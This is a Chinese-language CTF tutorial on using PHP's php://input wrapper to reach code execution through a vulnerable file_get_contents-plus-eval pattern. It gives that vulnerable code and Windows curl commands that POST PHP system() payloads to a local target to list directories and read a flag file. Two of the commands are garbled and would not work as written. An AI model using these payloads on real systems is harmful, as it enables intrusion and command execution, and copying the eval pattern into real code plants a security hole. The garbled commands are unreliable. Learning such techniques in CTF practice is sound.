一、php://input 协议介绍
php://input 是PHP内置伪协议,作用:读取原始POST请求数据
特点:
1. 无需参数,不受GET参数过滤限制
2. 可直接传递PHP代码、恶意语句
3. 常用来绕过file_get_contents、文件包含漏洞过滤
适用函数:
• file_get_contents()
• include() / require()
• file_put_contents()
二、CTF经典场景
题目常见代码:
$text = file_get_contents($_GET['file']);
eval($text);
?>
常规传参被过滤,无法直接传php代码,此时使用php://input完美绕过。
三、Windows curl 本地实战命令
1、基础传PHP代码(最常用)
cmd执行:
curl http://localhost/index.php?file=php<?php system('dir');?>"
2、读取当前目录Flag文件
curl http://localhost/index.php?file=php://input -<?php system('type flag_a47b33606.txt');?>"
3、查看全盘目录、寻找隐藏Flag
curl http://localhost/index.php?file=php://input -d "<?php system('dir /s');?>"
四、解题核心思路
1. 看到file_get_contents+eval组合,优先考虑php://input
2. GET参数传协议,POST DATA传真实恶意代码
3. Windows系统命令优先使用:dir、type、cd,不要使用Linux命令
4. 无回显时可结合写入文件、访问文件获取Flag
五、新手高频踩坑点
1. 浏览器直接访问无效,必须POST传数据
2. 不要混用Linux命令(ls、cat),Windows不识别
3. URL特殊字符无需编码,curl自动兼容
4. 部分题目需关闭PHP伪协议过滤才可生效
六、适用题型汇总
• 文件包含漏洞无参数绕过
• 匿名代码执行题目
• 过滤了?、php、data://的严格环境
• 需要读取本地隐藏txt格式Flag场景
七、总结
php://input + Windows curl命令是CTF Web新手性价比最高的解题组合,简单稳定、适配题型极多。熟练掌握这套组合,可快速解决大量基础Web命令执行与文件读取题型,是Web渗透入门必备技能。